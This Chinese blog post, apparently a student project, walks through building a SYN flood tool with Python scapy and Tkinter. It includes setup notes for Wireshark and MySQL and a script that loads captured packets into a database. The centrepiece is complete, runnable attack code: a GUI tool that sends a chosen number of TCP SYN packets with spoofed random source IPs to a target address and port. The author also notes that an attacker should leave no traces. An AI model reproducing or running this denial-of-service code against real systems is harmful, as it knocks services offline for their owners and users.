python可以攻击服务器吗_使用Python scapy实现syn flood攻击 - Python - 服务器之家

scapy是一个强大的交互式(interactive)的包操作程序,用python写的,有一个python的命令行解释器界面,可直接运行,也也可以作为第三库,在python程序中import来使用它的类和方法。支持对广泛的网络协议解码和生成,进行数据包发送、捕获、请求匹配应答等,可以用来生成指定内容的网络数据包的工具

官方文档:http://www.secdev.org/projects/scapy/doc/

关于wireshark:

我们需要一个抓包工具,wireshark是一个运用广泛的抓包分析工具,前身是Ethereal

发现一份翻译的着实不太好不过还是非常感谢辛勤劳动的中文文档:

http://man.lupaworld.com/content/network/wireshark/index.html

yum install

wireshark

命令行输入wireshark,提示没有找到

bash: cd: /usr/lib/wireshark: No such file or directory

解决它:

yum search wireshark

提示:

Loaded plugins: langpacks, presto, refresh-packagekit

updates/pkgtags | 333 B 00:00

============================ N/S Matched: wireshark ============================

wireshark-devel.i686 : Development headers and libraries for wireshark

wireshark-devel.x86_64 : Development headers and libraries for wireshark

wireshark-gnome.x86_64 : Gnome desktop integration for wireshark

wireshark.i686 : Network traffic analyzer

wireshark.x86_64 : Network traffic analyzer

Name and summary matches only, use "search all" for everything.

选择gnome的即可

yum install wireshark-gnome.x86_64

方便又好用的wireshark,实在是童叟无欺啊

关于Tkinter:

python下gui编程有很多,随便挑了一个,比较简单的Tkinter

随便找了一份入门文档:http://www.programup.com/wiki/beginning_tkinter/ 随便看看就ok了,- -|| 汗

表示各种控件要自己写代码,比起c#、mfc、swt之流着实不太习惯,感觉给它们定位是个问题

Tkinter有三个布局管理器

Pack,Grid,Place

感觉不是太好用,随便挑了一个grid应付应付(ToT)/~~~

关于写数据库:

老师要求非要写数据库,表示作为攻击方的实在没道理攻击一下写一次数据库的,干坏事不能留痕迹,那么作为被攻击方的就勉强收集一下数据好了

又不知道怎么直接从wireshark里面写到mysql里面去,它倒是提供了Export,导成plain

text实在看着头大,正好有xml,这个还好处理一点,只好人工导出成xml,来读xml,再写到mysql,偷懒用正则表达式直接匹配它的标签

写mysql,一定不能忘了一句commit(),没了这一句,明明写成功了,数据库里面怎么都看不到数据o((⊙﹏⊙))o.

顺便附录一句如何查看mysql文件存放的路径:

mysql> show variables like '%datadir%';

+---------------+-----------------+

| Variable_name | Value |

+---------------+-----------------+

| datadir | /var/lib/mysql/ |

+---------------+-----------------+

1 row in set (0.00 sec)

再顺便表扬一句mysql太乖了,跟它说quit,它会说Bye,v( ̄︶ ̄)y

—————————我是展示成果分割线——————————

syn攻击方代码

用网卡设置为本地,要在root权限下运行,否则发送tcp连接会报错- -||

#coding=utf-8

import socket, sys, random, threading

from scapy.all import *

from Tkinter import *

scapy.config.conf.iface = 'lo'

target = ''

port = 0

count = 0

class sendSYN(threading.Thread):

global target, port

def __init__(self):

threading.Thread.__init__(self)

def run(self):

isrc = '%i.%i.%i.%i' % (random.randint(1,254),random.randint(1,254),random.randint(1,254), random.randint(1,254))

isport = random.randint(1,65535)

ip = IP(src = isrc,dst = target)

syn = TCP(sport = isport, dport = port, flags = 'S')

send(ip / syn, verbose = 0)

def click_button():

global target, port, count

target = e1.get()

port = int(e2.get())

count = int(e3.get())

i = 0

while i < count:

i += 1

sendSYN().start()

class App:

def __init__(self, master):

frame = Frame(master)

frame.pack()

label1 = Label(frame, text="IP地址:", width = 10, height = 3)

label1.grid(row = 0, column = 0)

label2 = Label(frame, text="端口号:", width = 10, height = 3)

label2.grid(row = 1, column = 0)

label3 = Label(frame, text="攻击次数:", width = 10, height = 3)

label3.grid(row = 2, column = 0)

global e1, e2, e3

entry1 = Entry(frame, textvariable=e1, width = 15)

entry1.grid(row = 0, column = 1)

entry2 = Entry(frame, textvariable=e2, width = 15)

entry2.grid(row = 1, column = 1)

entry3 = Entry(frame, textvariable=e3, width = 15)

entry3.grid(row = 2, column = 1)

button1 = Button(frame, text='设定', command = click_button)

button1.grid(row = 3, column = 1)

button2 = Button(frame, text='退出', command = frame.quit)

button2.grid(row = 3, column = 2)

root = Tk()

e1 = StringVar();

e2 = StringVar();

e3 = StringVar();

root.title('syn flood')

root.geometry('300x190')

app = App(root)

root.mainloop()

效果:

有点难看( >﹏<。)~

09514Ab3-0.png

记得打开wireshark等着看

0951463609-1.png

发一下看看v( ̄︶ ̄)y

09514B506-2.png

嗖的一下就有东西了

0951464638-3.png

给的信息十分全面^_^

0951461O0-4.png

处理这个xml文件就好了

0951462154-5.png

处理xml写数据库的代码,记得把数据库打开- -||

import re

import MySQLdb as mdb

con = mdb.connect(host = 'localhost', user = 'root', passwd = '')

cursor = con.cursor()

cursor.execute('create database if not exists dbforsyn')

con.select_db('dbforsyn')

cursor.execute('create table if not exists packet(id int KEY, Time float, Source varchar(100), Destination varchar(100), Protocol varchar(20), Length int, Info varchar(100))')

myfile = open('2.xml')

s = myfile.read()

myfile.close()

s = s.replace('>', '>')

a = re.findall(r'.*', s)

ct = 0

mylist = []

flag = 0

for i in a:

ct += 1

if (ct == 1 or ct == 6) and flag == 1:

mylist.append(int(i[9:-10]))

elif ct == 2 and flag == 1:

mylist.append(float(i[9:-10]))

else:

mylist.append(i[9:-10])

if ct % 7 == 0:

if flag == 0:

flag = 1

else:

n = cursor.execute('insert into packet values(%s, %s, %s, %s, %s, %s, %s)', mylist)

mylist = []

ct = 0

con.commit()

cursor.close()

09514B3G-6.png

就这么着吧……<(* ̄▽ ̄*)/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值